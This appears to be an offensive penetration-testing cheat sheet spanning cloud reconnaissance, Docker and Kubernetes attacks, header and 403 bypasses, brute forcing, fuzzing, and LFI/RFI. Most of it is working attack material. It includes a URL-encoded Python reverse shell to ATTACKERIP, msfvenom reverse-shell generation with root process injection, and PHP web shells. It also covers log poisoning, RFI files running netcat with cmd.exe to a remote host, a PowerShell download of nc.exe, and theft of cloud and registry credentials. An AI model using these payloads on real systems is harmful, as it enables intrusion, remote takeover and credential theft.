# Check certificate transparency logs
https://crt.sh
%.netfilx.com
- AWS Buckets
site:*.s3.amazonaws.com ext:xls | ext:xlsx | ext:csv password|passwd|pass user|username|uid|email
bucket_finder ~/tools/AWSBucketDump/BucketNames.txt -l results.txt
- AWS discovering, stealing keys and endpoints
# Nimbostratus - check against acutal profile
https://github.com/andresriancho/nimbostratus
python nimbostratus dump-credentials
# ScoutSuite - audit AWS, GCP and Azure clouds
scout --provider aws --profile stolen
# Prowler - AWS security assessment, auditing and hardening
https://github.com/toniblyx/prowler
GitLab
GOAL: Identify a target code repository and then search through all commit history to discover secrets that have been mistakenly posted.
• Oftentimes, developers post access keys, or various other forms of credentials to code repositories on accident. Even if they remove the keys they may still be discoverable by searching through previous commit history.
sudo docker pull zricethezav/gitleaks
sudo docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
Then visualize a commit:
https://github.com/[git account]/[repo name]/commit/[commit ID]
https://github.com/zricethezav/gitleaks/commit/744ff2f876813fbd34731e6e0d600e1a26e858cf
Docker or Kubernetes
Docker basics
Concepts
- Docker Image
- Read only file with OS, libraries and apps
- Anyone can create a docker image
- Images can be stored in Docker hub (default public registry) or private registry
- Docker Container
- Stateful instance of an image with a writable layer
- Contains everything needed to run your application
- Based on one or more images
- Docker Registry
- Repository of images
- Docker Hub
- Public docker registry
- Dockerfile
- Configuration file that contains instructions for building a Docker image
- Docker-compose file
- Configuration file for docker-compose
- Docker Swarm
- Group of machines that are running Docker and joined into a cluster.
- When you run docker commands, they are executed by a swarm manager.
- Portainer
- Management solution for Docker hosts and Docker Swarm clusters
- Via web interface
- Docker capabilities
- Turn the binary "root/non-root" into a fine-grained access control system.
- Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.
- Docker Control Groups
- Used to allocate cpu, memory, network bandwith of host to container groups.
Commands
# Search in docker hub
docker search wpscan
# Run docker container from docker hub
docker run ubuntu:latest echo "Welcome to Ubuntu"
# Run docker container from docker hub with interactive tty
docker run --name samplecontainer -it ubuntu:latest /bin/bash
# List running containers
docker ps
# List all containers
docker ps -a
# List docker images
docker images
# Run docker in background
docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
# Get container logs
docker logs -f pingcontainer
# Run container service in specified port
docker run -d --name nginxalpine -p 7777:80 nginx:alpine
# Access tty of running container
docker exec -it nginxalpine sh
# Get low-level info of docker object
docker inspect (container or image)
# Show image history
docker history jess/htop
# Stop container
docker stop dummynginx
# Remove container
docker rm dummynginx
# Run docker with specified PID namespace
docker run --rm -it --pid=host jess/htop
# Show logs
docker logs containername
docker logs -f containername
# Show service defined logs
docker service logs
# Look generated real time events by docker runtime
docker system events
docker events --since '10m'
docker events --filter 'image=alpine'
docker events --filter 'event=stop'
# Compose application (set up multicontainer docker app)
docker-compose up -d
# List docker volumes
docker volume ls
# Create volume
docker volume create vol1
# List docker networks
docker network ls
# Create docker network
docker network create net1
# Remove captability of container
docker run --rm -it --cap-drop=NET_RAW alpine sh
# Check capabilities inside container
docker run --rm -it 71aa5f3f90dc bash
capsh --print
# Run full privileged container
docker run --rm -it --privileged=true 71aa5f3f90dc bash
capsh --print
# From full privileged container you can access host devices
more /dev/kmsg
# Creating container groups
docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
# Stopping cgroups
docker stop low_priority high_priority
# Remove cgroups
docker rm low_priority high_priority
# Setup docker swarm cluster
docker swarm init
# Check swarm nodes
docker node ls
# Start new service in cluster
docker service create --replicas 1 --publish 5555:80 --name nginxservice
nginx:alpine
# List services
docker service ls
# Inspect service
docker service inspect --pretty nginxservice
# Remove service
docker service rm nginxservice
# Leave cluster
docker swarm leave (--force if only one node)
# Start portainer
docker run -d -p 9000:9000 --name portainer \
--restart always -v /var/run/docker.sock:/var/run/docker.sock \
-v /opt/portainer:/data portainer/portainer
Docker security basics
# Get image checksum
docker images --digests ubuntu
# Check content trust to get signatures
docker trust inspect mediawiki --pretty
# Check vulns in container
- Look vulns in base image
- Use https://vulners.com/audit to check for docker packages
- Inside any container
cat /etc/issue
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
- Using Trivy https://github.com/aquasecurity/trivy
trivy image knqyf263/vuln-image:1.2.3
# Check metadata, secrets, env variables
docker inspect <image name>
docker inspect <container name>
# Review image history
docker history image:latest
# Inspect everything
docker volume inspect wordpress_db_data
docker network inspect wordpress_default
# Interesting look in the volume mountpoints
docker volume inspect whatever
cd /var/lib/docker/volumes/whatever
# Integrity check for changed files
docker diff imagename
# Check if you're under a container
https://github.com/genuinetools/amicontained#usage
# Docker Bench Security (Security Auditor)
cd /opt/docker-bench-security
sudo bash docker-bench-security.sh
Attack insecure volume mounts
# After get reverse shell in docker container (eg insecure webapp with RCE)
# This commands are executed inside insecure docker container
# Check if it's available docker.sock
ls -l /var/run/docker.sock
# This allows to access the host docker service using host option with docker client by using the UNIX socket
# Now download docker client in container and run commands in host
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images
Attack docker misconfiguration
# Docker container with exposed ports running docker service
# Docker API is exposed in those docker ports
# Check query docker API with curl
curl 10.11.1.111:2375/images/json | jq .
# Then you can run commands in host machine
docker -H tcp://10.11.1.111:2375 ps
docker -H tcp://10.11.1.111:2375 images
Audit Docker Runtime and Registries
# Runtime
# Host with multiple dockers running
# Check docker daemon
docker system info
# Check docker API exposed on 0.0.0.0
cat /lib/systemd/system/docker.service
# Check if docker socket is running in any container
docker inspect | grep -i '/var/run/'
# Check rest of files docker related
ls -l /var/lib/docker/
# Check for any secret folder
ls -l /var/run/
ls -l /run/
# Public Registries
# Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
# Check if docker registry is up and running
curl -s http://localhost:5000/v2/_catalog | jq .
# Get tags of docker image
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
# Download image locally
docker pull localhost:5000/devcode:latest
# Access container to review it
docker run --rm -it localhost:5000/devcode:latest sh
# Once mounted we can check the docker daemon config to see user and registry
docker system info
# And we can check the registries configured for the creds
cat ~/.docker/config.json
# Private registries
# Check catalog
curl 10.11.1.111:5000/v2/_catalog
# Get image tags
curl 10.11.1.111:5000/v2/privatecode/tags/list
# Add the insecure-registry tag to download docker image
vi /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
# Restart docker service
sudo systemctl daemon-reload
sudo service docker restart
# Download the image
docker pull 10.11.1.111:5000/privatecode:whatevertag
# Enter inside container and enumerate
docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
cd /app
ls -la
Attack container capabilities
# Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
# You're already inside container
# Check capabilities
capsh --print
# Upload reverse shell and linux-injector
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
# Check any process running as root
ps aux | grep root
./injector PID_RUNNING_AS_ROOT payload.bin
Kubernetes basics
Concepts
- Kubernetes is a security orchestrator
- Kubernetes master provides an API to interact with nodes
- Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.
- Kubernetes objects are abstractions of states of your system.
- Pods: collection of container share a network and namespace in the same node.
- Services: Group of pods running in the cluster.
- Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.
- Namespaces: scope of Kubernetes objects, like a workspace (dev-space).
Commands
# kubectl cli for run commands against Kubernetes clusters
# Get info
kubectl cluster-info
# Get other objects info
kubectl get nodes
kubectl get pods
kubectl get services
# Deploy
kubectl run nginxdeployment --image=nginx:alpine
# Port forward to local machine
kubectl port-forward <PODNAME> 1234:80
# Deleting things
kubectl delete pod
# Shell in pod
kubectl exec -it <PODNAME> sh
# Check pod log
kubectl logs <PODNAME>
# List API resources
kubectl api-resources
# Check permissions
kubectl auth can-i create pods
# Get secrets
kubectl get secrets <SECRETNAME> -o yaml
# Get more info of specific pod
kubectl describe pod <PODNAME>
# Get cluster info
kubectl cluster-info dump
# kube-bench - secutity checker
kubectl apply -f kube-bench-node.yaml
kubectl get pods --selector job-name=kube-bench-node
kubectl logs kube-bench-podname
# kube-hunter - check security weaknesses
./kube-hunter.py
# kubeaudit
./kubeaudit all
# Known vulns
CVE-2018-1002105
CVE-2019-5736
CVE-2019-9901
Attak Private Registry miconfiguration
# Web application deployed vulnerable to lfi
# Read configuration through LFI
cat /root/.docker/config.json
# Download this file to your host and configure in your system
docker login -u _json_key -p "$(cat config.json)" https://gcr.io
# Pull the private registry image to get the backend source code
docker pull gcr.io/training-automation-stuff/backend-source-code:latest
# Inspect and enumerate the image
docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
# Check for secrets inside container
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
# Check environment vars
printenv
Attack Cluster Metadata with SSRF
# Webapp that check the health of other web applications
# Request to
curl http://169.254.169.254/computeMetadata/v1/
curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
Attack escaping pod volume mounts to access node and host
# Webapp makes ping
# add some listing to find docker.sock
ping whatever;ls -l /custom/docker/
# Once found, download docker client
ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images
CDN Domain Fronting
**Tools**
https://github.com/rvrsh3ll/FindFrontableDomains
https://github.com/stevecoward/domain-fronting-tools
Web Attacks
Check out in the left submenu what common attack you want review
General Info
Auth headers
# Basic Auth (B64)
Authorization: Basic AXVubzpwQDU1dzByYM==
# Bearer Token (JWT)
Authorization: Bearer <token>
# API Key
GET /endpoint?api_key=abcdefgh123456789
X-API-Key: abcdefgh123456789
# Digest Auth
Authorization: Digest username=”admin” Realm=”abcxyz” nonce=”474754847743646”, uri=”/uri” response=”7cffhfr54685gnnfgerg8”
# OAuth2.0
Authorization: Bearer hY_9.B5f-4.1BfE
# Hawk Authentication
Authorization: Hawk id="abcxyz123", ts="1592459563", nonce="gWqbkw", mac="vxBCccCutXGV30gwEDKu1NDXSeqwfq7Z0sg/HP1HjOU="
# AWS signature
Authorization: AWS4-HMAC-SHA256 Credential=abc/20200618/us-east-1/execute-api/aws4_
Common checks
# robots.txt
curl http://example.com/robots.txt
# headers
wget --save-headers http://www.example.com/
# Strict-Transport-Security (HSTS)
# X-Frame-Options: SAMEORIGIN
# X-XSS-Protection: 1; mode=block
# X-Content-Type-Options: nosniff
# Cookies
# Check Secure and HttpOnly flag in session cookie
# If exists BIG-IP cookie, app behind a load balancer
# SSL Ciphers
nmap --script ssl-enum-ciphers -p 443 www.example.com
# HTTP Methods
nmap -p 443 --script http-methods www.example.com
# Cross Domain Policy
curl http://example.com/crossdomain.xml
# allow-access-from domain="*"
# Cookies explained
https://cookiepedia.co.uk/
Security headers explanation
Quick tricks
# Web ports for nmap
80,81,300,443,591,593,832,981,1010,1311,1099,2082,2095,2096,2480,3000,3128,3333,4243,4567,4711,4712,4993,5000,5104,5108,5280,5281,5800,6543,7000,7396,7474,8000,8001,8008,8014,8042,8069,8080,8081,8083,8088,8090,8091,8118,8123,8172,8222,8243,8280,8281,8333,8337,8443,8500,8834,8880,8888,8983,9000,9043,9060,9080,9090,9091,9200,9443,9800,9981,10000,11371,12443,16080,18091,18092,20720,55672
# Technology scanner
# https://github.com/urbanadventurer/WhatWeb
whatweb htttps://url.com
# Screenshot web
# https://github.com/maaaaz/webscreenshot
# https://github.com/sensepost/gowitness
# https://github.com/michenriksen/aquatone
# Get error with in input
%E2%A0%80%0A%E2%A0%80
# Retrieve additional info:
/favicon.ico/..%2f
/lol.png%23
/../../../
?debug=1
/server-status
/files/..%2f..%2f
# Change default header to accept */*
Accept: application/json, text/javascript, */*; q=0.01
# Sitemap to wordlist (httpie)
http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' > wordlist_endpoints.txt
# Bypass Rate Limits:
# Use different params:
sign-up, Sign-up, SignUp
# Null byte on params:
%00, %0d%0a, %09, %0C, %20, %0
# Bypass upload restrictions:
# Change extension: .pHp3 or pHp3.jpg
# Modify mimetype: Content-type: image/jpeg
# Bypass getimagesize(): exiftool -Comment='"; system($_GET['cmd']); ?>' file.jpg
# Add gif header: GIF89a;
# All at the same time.
# ImageTragic (memory leaks in gif preview)
# https://github.com/neex/gifoeb
./gifoeb gen 512x512 dump.gif
# Upload dump.gif multiple times, check if preview changes.
# Check docs for exploiting
# If upload from web is allowed or :
# https://medium.com/@shahjerry33/pixel-that-steals-data-im-invisible-3c938d4c3888
# https://iplogger.org/invisible/
# https://iplogger.org/15bZ87
# Check HTTP options:
# Check if it is possible to upload
curl -v -k -X OPTIONS https://10.11.1.111/
# If put enabled, upload:
curl -v -X PUT -d '' http://10.11.1.111/test/shell.php
nmap -p 80 192.168.1.124 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
curl -v -X PUT -d '' http://VICTIMIP/test/cmd.php && http://VICTIMIP/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKERIP%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
curl -i -X PUT -H “Content-Type: text/plain; charset=utf-8” -d “/root/Desktop/meterpreter.php” http://VICTIMIP:8585/uploads/meterpreter.php
# If PUT is not allowed, try to override:
X-HTTP-Method-Override: PUT
X-Method-Override: PUT
# Retrieve endpoints
# LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python linkfinder.py -i https://example.com -d
python linkfinder.py -i burpfile -b
# Retreive hidden parameters
# Tools
# https://github.com/s0md3v/Arjun
python3 arjun.py -u https://url.com --get
python3 arjun.py -u https://url.com --post
# https://github.com/maK-/parameth
python parameth.py -u https://example.com/test.php
# https://github.com/devanshbatham/ParamSpider
python3 paramspider.py --domain example.com
# https://github.com/s0md3v/Parth
python3 parth.py -t example.com
# .DS_Store files?
# https://github.com/gehaxelt/Python-dsstore
python main.py samples/.DS_Store.ctf
# Polyglot RCE payload
1;sleep${IFS}9;#${IFS}’;sleep${IFS}9;#${IFS}”;sleep${IFS}9;#${IFS}
# Nmap web scan
nmap --script "http-*" example.com -p 443
# SQLi + XSS + SSTI
'"><svg/onload=prompt(5);>{{7*7}}
' ==> for Sql injection
"><svg/onload=prompt(5);> ==> for XSS
{{7*7}} ==> for SSTI/CSTI
# Try to connect with netcat to port 80
nc -v host 80
# Understand URL params with unfurl
https://dfir.blog/unfurl/
Header injections
Headers
# Add something like 127.0.0.1, localhost, 192.168.1.2, target.com or /admin, /console
Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:
X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
X-Wap-Profile:
# Try to repeat same Host header 2 times
Host: legit.com
Stuff: stuff
Host: evil.com
# Bypass type limit
Accept: application/json, text/javascript, */*; q=0.01
Accept: ../../../../../../../../../etc/passwd{{'
# Try to change the HTTP version from 1.1 to HTTP/0.9 and remove the host header
# 401/403 bypasses
# Whitelisted IP 127.0.0.1 or localhost
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
# Fake Origin - make GET request to accesible endpoint with:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: /admin
# Also try with absoulte url https:/domain.com/admin
# Method Override
X-HTTP-Method-Override: PUT
# Provide full path GET
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
# Add line wrapping
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
# Wordlists
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
https://github.com/danielmiessler/SecLists/tree/bbb4d86ec1e234b5d3cfa0a4ab3e20c9d5006405/Miscellaneous/web/http-request-headers
Tools
# https://github.com/lobuhi/byp4xx
./byp4xx.sh https://url/path
# https://github.com/OdinF13/Bug-Bounty-Scripts
# https://github.com/mlcsec/headi
headi -url http://target.com/admin
Bruteforcing
cewl
hash-identifier
# https://github.com/HashPals/Name-That-Hash
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
medusa -h 10.11.1.111 -u admin -P password-file.txt -M http -m DIR:/admin -T 10
ncrack -vv --user offsec -P password-file.txt rdp://10.11.1.111
crowbar -b rdp -s 10.11.1.111/32 -u victim -C /root/words.txt -n 1
patator http_fuzz url=https://10.10.10.10:3001/login method=POST accept_cookie=1 body='{"user":"admin","password":"FILE0","email":""}' 0=/root/acronim_dict.txt follow=1 -x ignore:fgrep='HTTP/2 422'
hydra -l root -P password-file.txt 10.11.1.111 ssh
hydra -P password-file.txt -v 10.11.1.111 snmp
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 ftp -V
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 10.11.1.111 pop3 -V
hydra -P /usr/share/wordlistsnmap.lst 10.11.1.111 smtp -V
hydra -L username.txt -p paswordl33t -t 4 ssh://10.10.1.111
hydra -L user.txt -P pass.txt 10.10.1.111 ftp
# PATATOR
patator http_fuzz url=https://10.10.10.10:3001/login method=POST accept_cookie=1 body='{"user":"admin","password":"FILE0","email":""}' 0=/root/acronim_dict.txt follow=1 -x ignore:fgrep='HTTP/2 422'
# SIMPLE LOGIN GET
hydra -L cewl_fin_50.txt -P cewl_fin_50.txt 10.11.1.111 http-get-form "/~login:username=^USER^&password=^PASS^&Login=Login:Unauthorized" -V
# GET FORM with HTTPS
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.11.1.111 -s 443 -S https-get-form "/index.php:login=^USER^&password=^PASS^:Incorrect login/password\!"
# SIMPLE LOGIN POST
hydra -l root@localhost -P cewl 10.11.1.111 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=-120&User=^USER^&Password=^PASS^:F=Login failed" -I
# API REST LOGIN POST
hydra -l admin -P /usr/share/wordlists/wfuzz/others/common_pass.txt -V -s 80 10.11.1.111 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:Bad credentials" -t 64
# Password spraying bruteforcer
# https://github.com/x90skysn3k/brutespray
python brutespray.py --file nmap.gnmap -U /usr/share/wordlist/user.txt -P /usr/share/wordlist/pass.txt --threads 5 --hosts 5
# Password generator
# https://github.com/edoardottt/longtongue
python3 longtongue.py
https://many-passwords.github.io/
Online hashes cracked
https://www.cmd5.org/
http://hashes.org
https://www.onlinehashcrack.com/
https://gpuhash.me/
https://crackstation.net/
https://crack.sh/
https://hash.help/
https://passwordrecovery.io/
http://cracker.offensive-security.com/
https://md5decrypt.net/en/Sha256/
https://weakpass.com/wordlists
https://hashes.com/en/decrypt/hash
Crawl/Fuzz
# Crawlers
dirhunt https://url.com/
hakrawler -domain https://url.com/
python3 sourcewolf.py -h
gospider -s "https://example.com/" -o output -c 10 -d 1
gospider -S sites.txt -o output -c 10 -d 1
gospider -s "https://example.com/" -o output -c 10 -d 1 --other-source --include-subs
# Fuzzers
# ffuf
# Discover content
ffuf -recursion -mc all -ac -c -e .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml -w six2dez/OneListForAll/onelistforall.txt -u https://url.com/FUZZ
# Headers discover
ffuf -mc all -ac -u https://hackxor.net -w six2dez/OneListForAll/onelistforall.txt -c -H "FUZZ: Hellothereheadertesting123 asd"
# Ffuf - burp
ffuf -replay-proxy http:127.0.0.1:8080
# Fuzzing extensions
# General
.htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml,.inc
# Backups
'.bak','.bac','.old','.000','.~','.01','._bak','.001','.inc','.Xxx'
# kr
# https://github.com/assetnote/kiterunner
kr brute https://whatever.com/ -w onelistforallmicro.txt -x 100 --fail-status-codes 404
kr scan https://whatever.com/ -w routes-small.kite -A=apiroutes-210228 -x 100 --ignore-length=34
# chameleon
# https://github.com/iustin24/chameleon
./chameleon -u http://testphp.vulnweb.com -a -A
# Best wordlists for fuzzing:
# https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
- RobotsDisallowed/top10000.txt
# https://github.com/assetnote/commonspeak2-wordlists/tree/master/wordswithext -
# https://github.com/random-robbie/bruteforce-lists
# https://github.com/google/fuzzing/tree/master/dictionaries
# https://github.com/six2dez/OneListForAll
# AIO: https://github.com/foospidy/payloads
# Check https://wordlists.assetnote.io/
# Pro tip: set "Host: localhost" as header
# Custom generated dictionary
gau example.com | unfurl -u paths
# Get files only
sed 's#/#\n#g' paths.txt |sort -u
# Other things
gau example.com | unfurl -u keys
gau example.com | head -n 1000 |fff -s 200 -s 404
# Hadrware devices admin panel
# https://github.com/InfosecMatter/default-http-login-hunter
default-http-login-hunter.sh https://10.10.0.1:443/
# Dirsearch
dirsearch -r -f -u https://10.11.1.111 --extensions=htm,html,asp,aspx,txt -w six2dez/OneListForAll/onelistforall.txt --request-by-hostname -t 40
# dirb
dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt
# wfuzz
wfuzz -c -z file,six2dez/OneListForAll/onelistforall.txt --hc 404 http://10.11.1.11/FUZZ
# gobuster
gobuster dir -u http://10.11.1.111 -w six2dez/OneListForAll/onelistforall.txt -s '200,204,301,302,307,403,500' -e
# Cansina
# https://github.com/deibit/cansina
python3 cansina.py -u example.com -p PAYLOAD
# Ger endpoints from JS
# LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python linkfinder.py -i https://example.com -d
python linkfinder.py -i burpfile -b
# JS enumeration
# https://github.com/KathanP19/JSFScan.sh
# Tip, if 429 add one of these headers:
Client-Ip: IP
X-Client-Ip: IP
X-Forwarded-For: IP
X-Forwarded-For: 127.0.0.1
LFI/RFI
Tools
# https://github.com/kurobeats/fimap
fimap -u "http://10.11.1.111/example.php?test="
# https://github.com/P0cL4bs/Kadimus
./kadimus -u localhost/?pg=contact -A my_user_agent
# https://github.com/wireghoul/dotdotpwn
dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
# Apache specific: https://github.com/imhunterand/ApachSAL
How to
- Look requests with filename like
include=main.inc template=/en/sidebar file=foo/file1.txt
- Modify and test:
file=foo/bar/../file1.txt
- If the response is the same could be vulnerable
- If not there is some kind of block or sanitizer
- Try to access world-readable files like
/etc/passwd /win.ini
LFI
# Basic LFI
curl -s http://10.11.1.111/gallery.php?page=/etc/passwd
# If LFI, also check
/var/run/secrets/kubernetes.io/serviceaccount
# PHP Filter b64
http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
# Nullbyte ending
http://10.11.1.111/page=http://10.11.1.111/maliciousfile%00.txt
http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00
# Other techniques
https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
https://abc.redact.com/asd.php?file:///etc/passwd
https://abc.redact.com/asd.php?file:///etc/passwd%00
https://abc.redact.com/asd.php?file:///etc/passwd%00.html
https://abc.redact.com/asd.php?file:///etc/passwd%00.ext
https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
https://target.com/admin..;/
https://target.com/../admin
https://target.com/whatever/..;/admin
https://target.com/whatever.php~
# Cookie based
GET /vulnerable.php HTTP/1.1
Cookie:usid=../../../../../../../../../../../../../etc/pasdwd
# LFI Windows
http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini
http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini
http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext
# LFI using video upload:
https://github.com/FFmpeg/FFmpeg
https://hackerone.com/reports/226756
https://hackerone.com/reports/237381
https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
https://github.com/neex/ffmpeg-avi-m3u-xbin
# Contaminating log files
root@kali:~# nc -v 10.11.1.111 80
10.11.1.111: inverse host lookup failed: Unknown host
(UNKNOWN) [10.11.1.111] 80 (http) open
<?php echo shell_exec($_GET['cmd']);?>
http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig
# Common LFI to RCE:
Using file upload forms/functions
Using the PHP wrapper expect://command
Using the PHP wrapper php://file
Using the PHP wrapper php://filter
Using PHP input:// stream
Using data://text/plain;base64,command
Using /proc/self/environ
Using /proc/self/fd
Using log files with controllable input like:
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
# LFI possibilities by filetype
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
# Chaining with other vulns
../../../tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
<svg onload=alert(document.domain)>.jpg/png —> for XSS
; sleep 10; —> for command injections
# 403 bypasses
/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
/secret/
/secret/.
//secret//
/./secret/..
/admin..;/
/admin%20/
/%20admin%20/
/admin%20/page
/%61dmin
# Path Bypasses
# 16-bit Unicode encoding
# double URL encoding
# overlong UTF-8 Unicode encoding
….//
….\/
…./\
….\\
RFI
# RFI:
http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
Content of evil.txt:
<?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
# RFI over SMB (Windows)
cat php_cmd.php
<?php echo shell_exec($_GET['cmd']);?>
# Start SMB Server in attacker machine and put evil script
# Access it via browser (2 request attack):
# http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
